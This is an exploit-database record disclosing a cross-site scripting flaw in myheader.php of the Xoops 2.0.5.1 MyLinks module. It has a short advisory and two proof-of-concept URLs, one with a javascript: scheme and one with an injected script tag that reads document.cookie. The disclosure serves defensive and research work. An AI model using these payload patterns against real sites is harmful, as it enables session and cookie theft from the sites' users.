Xoops 2.0.5.1 - 'MyLinks Myheader.php' Cross-Site Scripting

Author: Chintan Trivedi
type: webapps
platform: php
port: 
date_added: 2003-12-21 
date_updated: 2012-12-17 
verified: 1 
codes: OSVDB-3136 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/9269/info

Xoops is prone to a cross-site scripting vulnerability in the 'myheader.php' script included in the mylinks module. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. Exploitation could allow for theft of cookie-based authentication credentials or other attacks.

This issue was reported in Xoops 2.0.5.1. It is likely that other versions are also affected.

http://www.example.com/modules/mylinks/myheader.php?url=javascript:alert(document.cookie);

http://www.example.com/modules/mylinks/myheader.php?url="><script>alert(document.cookie)</script>